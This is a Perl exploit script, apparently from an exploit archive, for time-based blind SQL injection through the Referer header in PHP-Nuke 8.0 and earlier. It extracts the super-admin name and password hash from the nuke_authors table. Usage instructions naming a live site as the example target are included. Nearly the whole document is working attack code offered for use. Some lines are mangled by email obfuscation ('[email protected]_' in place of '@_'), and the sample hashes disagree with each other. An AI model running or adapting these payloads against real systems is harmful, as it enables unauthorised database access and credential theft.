PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)

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PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)
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#!/usr/bin/perl 
#0day exploit for PHP-nuke <=8.0 Final
#Blind sql injection attack in INSERT syntax
#version for mysql >= 4.0.24, using 'brute force'
#Coded by:Maciej `krasza` Kukla[[email protected]]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[[email protected]]
#
#[+]Time normal query: 2 seconds
#[+]Length user's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use warnings;
use LWP;
my $offset=4;#It is the most important variable!!
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);
banner();
$czas_nor=polacz("http://www.krasza.int.pl");
print "[+]Time normal query: $czas_nor seconds\n";
$dlugosc_user=ustal_dlugosc("aid",8);
print "[+]Length user's record: $dlugosc_user\n";
print "[+]Length password's record: 32\n";
print "[+]Login:\n";
$user=brute_force_aid($dlugosc_user);
print "[+]Password:\n";
$hash=brute_force_pass(32);
print "[+]Super admin:\n";
print "$user:$hash\n";
##
sub brute_force_pass{
	my ($dlugosc)[email protected]_;
	my ($i,$j,$referer,$wynik,$dolny_zakres);
	for($i=1;$i<=$dlugosc;$i++){
		for($j=48;$j<=122;$j++){
		$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
        	$czy_dziala=czy_dziala($referer);
        		if($czy_dziala==1){
					$znak=chr($j);
					print "$znak";
					$wynik.=$znak;
				if($i<$dlugosc){
					$i+=1;
					$j=47;
				}else{
					last;
				}
			}
			#przeskok-optymalizacja;]
			if($j==57){
				$j=96;
			}
		}
	}
		print "\n";
		return $wynik;
}
sub brute_force_aid{
        my ($dlugosc)[email protected]_;
        my ($i,$j,$referer,$wynik,$dolny_zakres);
        for($i=1;$i<=$dlugosc;$i++){
                for($j=48;$j<=122;$j++){
                $referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
                $czy_dziala=czy_dziala($referer);
                        if($czy_dziala==1){
					$znak=chr($j);
                                	print "$znak";
					$wynik.=$znak;
				if($i<$dlugosc){
                                	$i+=1;
					$j=47;
				}else{
					last;
				}
                        }
			if($j==57){
				$j=64;
			}
			if($j==90){
				$j=96;
			}
                }
        }
                print "\n";
                return $wynik;
}
sub ustal_dlugosc{
	my ($pole,$len)[email protected]_;
	my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
	$narazie_dziala_liczba=0;
	$nie_dziala_liczba=65;
	#for($len=1;$len<64;$len++){
	while($len<=64){
		if($narazie_dziala_liczba==$len || $nie_dziala_liczba<=$len){
			return $narazie_dziala_liczba;
		}
		$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((LENGTH(`".$pole."`)>".$len.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
		$czy_dziala=czy_dziala($referer);
		if($czy_dziala==1){
			$narazie_dziala_liczba=$len+1;
			$len+=2;
		}else{
			$nie_dziala_liczba=$len+1;
			$len-=1;
		}
	}
	print "[-]Exploit Failed\n";
	exit;
}
sub czy_dziala{
	my ($refik)[email protected]_;
	my $czas_zapytania;
	$czas_zapytania=polacz($refik);
	if($czas_zapytania>$czas_nor+$offset){
		return 1;
	}else{
		return 0;
	}
}
sub polacz{
	my ($referrer)[email protected]_;
	my ($czas,$czas_poczatek,$czas_koniec);
	$zadanie->referer($referrer);
	$czas_poczatek=time();
        $respone=$ua->request($zadanie);
        $respone->is_success or die "$adres : ",$respone->message,"\n";
        $czas_koniec=time();
	$czas=$czas_koniec-$czas_poczatek;
	return $czas;
}
sub banner{
	print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Blind sql injection attack in INSERT syntax\n";
	print "version mysql >= 4.0.24, using 'brute force'\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
	print "0day exploit for PHP-nuke <=8.0 Final\n";
	print "Blind sql injection attack in INSERT syntax\n";
	print "version mysql >= 4.0.24, using 'brute force'\n";
	print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
	print "Use:\n";
	print "\tperl exploit.pl [url]\n";
	print "\t[url]-vicitim webpage with index.php\n";
	print "Example:\n";
	print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
	exit(0);
}




#  0day.today [2018-01-10]  #